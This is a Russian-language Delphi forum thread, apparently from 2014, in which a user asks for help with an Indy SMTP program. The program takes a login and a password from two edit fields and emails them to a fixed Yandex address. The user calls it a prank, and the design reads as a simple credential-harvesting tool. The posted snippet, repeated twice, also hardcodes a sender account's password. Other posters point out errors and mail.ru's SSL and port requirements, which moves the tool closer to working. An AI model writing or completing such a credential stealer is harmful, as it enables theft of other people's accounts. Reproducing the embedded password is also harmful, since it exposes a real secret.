Программа с отправкой на почту

@Mister_Q · Регистрация: 11.10.2014

Author24 — интернет-сервис помощи студентам

Прошу помочь.Мне нужен код,для того чтобы сделать отправку на почту.Допустим у меня есть 2 едита и 1 баттон.IdAntiFreeze1,IdMessage1,IdSMTP1.Вот с этими компонентами мне нужна программа.В интернете искал,в ютюбе тоже,но нахожу совсем другое.Пожалуйста помогите,буду благодарен.

Добавлено через 7 минут
Вот такой есть код,он работает,но при нажатии на кнопку он выдает ошибку.

Delphi

idMessage1.Charset:='windows-1251'; //Не трогаем
idmessage1.contenttype:='text/html'; //Не трогаем
idSmtp1.Host:='smtp.mail.ru'; //Не трогаем
idSmtp1.Port:=587;  //Не трогаем
idsmtp1.Username:='test-pw'; //Логин от ящика(Отправителя)
idSmtp1.Password:='384618d'; //Пароль от ящика(Отправителя)
IdMessage1.Body.text:='Логин/'+Edit1.text+'Пароль/'+Edit2.Text; //Какие переменные мы хотим получить
idMessage1.From.Text:='test-pw';//Логин(Отправителя)
idMessage1.Recipients.EmailAddresses:='artemachq@yandex.ru';//Логинполучателя (Пишем вместе с@mail.ru)
idMessage1.Subject:='Subject'; //Не трогаем
idSmtp1.Connect(); //Коннект
idSmtp1.Send(idmessage1); //Отправка сообщения
idSmtp1.Disconnect(); //Отключение?

@Avazart · 11.10.2014, 15:37

Сообщение от Mister_Q

на кнопку он выдает ошибку.

Ошибку мы должны у тебя с мозгов прочитать телепатически?

@Mister_Q · 11.10.2014, 15:52 **[ТС]**

https://www.cyberforum.ru/atta... 1413028306

@Mister_Q · 11.10.2014, 17:10 **[ТС]**

Есть ту кто?????

@Avazart · 11.10.2014, 18:21

Сообщение от Mister_Q

idsmtp1.Username:='test-pw'

Тут адрес ящика должен быть.

@Mister_Q · 11.10.2014, 19:53 **[ТС]**

Блин в чем проблема,скажите мне кардинально что изменить?Мне эта программа пазоресс нужна,если можно помогите с кодом,а если кто может скиньте исходник.Очень поможете.

Delphi

idMessage1.Charset:='windows-1251'; //Не трогаем
idmessage1.contenttype:='text/html'; //Не трогаем
idSmtp1.Host:='smtp.mail.ru'; //Не трогаем
idSmtp1.Port:=587;  //Не трогаем
idsmtp1.Username:='maks2.2000@mail.ru'; //Логин от ящика(Отправителя)
idSmtp1.Password:='384618d'; //Пароль от ящика(Отправителя)
IdMessage1.Body.text:='Логин/'+Edit1.text+'Пароль/'+Edit2.Text; //Какие переменные мы хотим получить
idMessage1.From.Text:='test-pw';//Логин(Отправителя)
idMessage1.Recipients.EmailAddresses:='artemachq@yandex.ru';//Логинполучателя (Пишем вместе с@mail.ru)
idMessage1.Subject:='Subject'; //Не трогаем
idSmtp1.Connect(); //Коннект
idSmtp1.Send(idmessage1); //Отправка сообщения
idSmtp1.Disconnect(); //Отключение?

@mss · 11.10.2014, 20:17

Сообщение от Mister_Q

idMessage1.From.Text:='test-pw';//Логин(Отправителя)

Какой еще нафих "логин отправителя" ?
Ты когда письмо получаешь, разве логин видишь в обратном адресе ?
Голова-то нужна чтобы думать, а не только чтобы в нее ложку совать)

Не по теме:

Сообщение от Mister_Q

пазоресс

Дебильное коверканье языка у тебя лучше получается чем думать)

@Mister_Q · 11.10.2014, 20:28 **[ТС]**

А исходник можно?))))

@NIKOLAYY · 12.10.2014, 11:46

Непонял, а как у него почта без компонента IdSSLIOHandlerSocket работает?

@erkanat79 · 12.10.2014, 17:43

mail.ru использует с 22 сентября только ssl соединения и порт 465 для отправки, копайте в эту сторону, завтра буду на работе попробую набросать что нить если будет время

@Avazart 8385 / 6147 / 615 Регистрация: 10.12.2010 Сообщений: 28,683 Записей в блоге: 30
	11.10.2014, 15:37	2
	Сообщение от Mister_Q на кнопку он выдает ошибку. Ошибку мы должны у тебя с мозгов прочитать телепатически? 0

@Mister_Q 0 / 0 / 0 Регистрация: 11.10.2014 Сообщений: 63
	11.10.2014, 15:52 [ТС]	3
	https://www.cyberforum.ru/atta... 1413028306 0

@Mister_Q 0 / 0 / 0 Регистрация: 11.10.2014 Сообщений: 63
	11.10.2014, 17:10 [ТС]	4
	Есть ту кто????? 0

@Avazart 8385 / 6147 / 615 Регистрация: 10.12.2010 Сообщений: 28,683 Записей в блоге: 30
	11.10.2014, 18:21	5
	Сообщение от Mister_Q idsmtp1.Username:='test-pw' Тут адрес ящика должен быть. 0

@mss 2664 / 2270 / 279 Регистрация: 24.12.2010 Сообщений: 13,723
	11.10.2014, 20:17	7
	Сообщение от Mister_Q idMessage1.From.Text:='test-pw';//Логин(Отправителя) Какой еще нафих "логин отправителя" ? Ты когда письмо получаешь, разве логин видишь в обратном адресе ? Голова-то нужна чтобы думать, а не только чтобы в нее ложку совать) Не по теме: Сообщение от Mister_Q пазоресс Дебильное коверканье языка у тебя лучше получается чем думать) 0

@Mister_Q 0 / 0 / 0 Регистрация: 11.10.2014 Сообщений: 63
	11.10.2014, 20:28 [ТС]	8
	А исходник можно?)))) 0

@NIKOLAYY 842 / 737 / 342 Регистрация: 22.09.2012 Сообщений: 5,034
	12.10.2014, 11:46	9
	Непонял, а как у него почта без компонента IdSSLIOHandlerSocket работает? 0

@erkanat79 1 / 1 / 0 Регистрация: 16.09.2013 Сообщений: 24
	12.10.2014, 17:43	10
	mail.ru использует с 22 сентября только ssl соединения и порт 465 для отправки, копайте в эту сторону, завтра буду на работе попробую набросать что нить если будет время 0

Опции темы